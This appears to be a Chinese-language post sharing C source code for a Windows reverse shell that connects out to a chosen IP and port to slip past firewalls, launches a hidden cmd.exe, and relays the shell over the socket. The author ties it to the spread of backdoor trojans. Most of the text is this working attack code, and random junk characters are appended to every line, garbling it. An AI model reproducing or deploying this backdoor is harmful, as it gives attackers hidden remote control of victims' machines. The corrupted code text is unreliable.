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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f s2}a  
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/* ============================== N$M:&m3^  
Rebound port in Windows NT nT=XWM  
By wind,2006/7 ~xf uq{L;  
===============================*/ KU;J2Kt  
#include [H {2<!  
#include 'k/:3?R  
*&~ '  
#pragma comment(lib,"wsock32.lib") ex8}./mjJ  
*z)+'D*+  
void OutputShell();  BF /4  
SOCKET sClient; -V=,x3Zew  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r}-vOPn`E  
smHQ'4x9  
void main(int argc,char **argv) 1Sd<cOEd  
{ hpo*5Va  
WSADATA stWsaData; lA n^)EL  
int nRet; ;OSEMgB1  
SOCKADDR_IN stSaiClient,stSaiServer; TbgIr  
U+:Mu]97  
if(argc != 3) [E9)Da_)i  
{ JN3&(t  
printf("Useage:\n\rRebound DestIP DestPort\n"); #Ht;5p>5  
return; e)aH7Jj#  
} YqYobL*q/  
k\A4sj  
WSAStartup(MAKEWORD(2,2),&stWsaData); jfpbD /  
=1zRm >m  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lfqsoIn;  
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stSaiClient.sin_family = AF_INET; p%IVWeZnx  
stSaiClient.sin_port = htons(0); 9b)'vr*Hy7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); fk\hrVP  
 jRhRw;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "89L^I  
{ ESnir6HoU  
printf("Bind Socket Failed!\n"); >w#&fd  
return; 69N8COLB  
} >Y;[+#H[  
~z7Fz"o<  
stSaiServer.sin_family = AF_INET; B !Z~jT  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Pa"[&{:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -gpHg  
M\r=i>(cu  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i:7cdhz  
{ `h<>_zpjY  
printf("Connect Error!"); 3]67U}`  
return; w$ jq2?l  
} Nzl`mx16  
OutputShell(); Kc+TcC  
} :a_MT  
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void OutputShell() 6NGQU%Hd  
{ C@ "l"  
char szBuff[1024]; ;R^=($X  
SECURITY_ATTRIBUTES stSecurityAttributes; _g6H&no[  
OSVERSIONINFO stOsversionInfo; k]S`A,~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .5iXOS0 G  
STARTUPINFO stStartupInfo; yH]w(z5Z  
char *szShell; 8r48+_y3u  
PROCESS_INFORMATION stProcessInformation; pf#~|n#t  
unsigned long lBytesRead; 0[ZwtfL1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z._%T$8aJv  
`/9&o;qM   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4v.i!U# {  
stSecurityAttributes.lpSecurityDescriptor = 0; +HoCG;C{  
stSecurityAttributes.bInheritHandle = TRUE; bM"d$tl$?'  
;Ngu(es6  
L<p.2[3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >z k6{kC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wPaMYxO/  
DlQ*'PX7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :xC1Ka%~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l|fb;Giq=D  
stStartupInfo.wShowWindow = SW_HIDE; _7,4C?  
stStartupInfo.hStdInput = hReadPipe; ,{BF`5bn|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WTUC\}#E\  
x{1S!A^  
GetVersionEx(&stOsversionInfo); a ~F\ 2`Q  
XRXQ 7\n  
switch(stOsversionInfo.dwPlatformId) K.42 VM)F  
{ [k60=$y  
case 1: ~> S? m;  
szShell = "command.com"; OD).kP}s^  
break; EgTj   
default: b;"Z`/h  
szShell = "cmd.exe"; wa$Q8/  
break; Sb?HRoe_  
} 'y|p)r"  
!XT2'6nu  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B X Et]+Q  
Mi7LyIu  
send(sClient,szMsg,77,0); 2]+f<Z[/  
while(1) !~te&ccPE  
{ .{"wliC2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E*VOyH 2[  
if(lBytesRead) `$ZBIe/u  
{ h4=7{0[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3j/~XT  
send(sClient,szBuff,lBytesRead,0); 7$7#z\VWu  
} 5N$O  
else 4td9=dNA+l  
{ ~U1M -<IX  
lBytesRead=recv(sClient,szBuff,1024,0); i(0%cNP7  
if(lBytesRead<=0) break; 7a4h7/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sg4TX?I   
} $8fJDN  
} Vs, &  
Ev,b5KelD  
return; 5KL??ao-  
}
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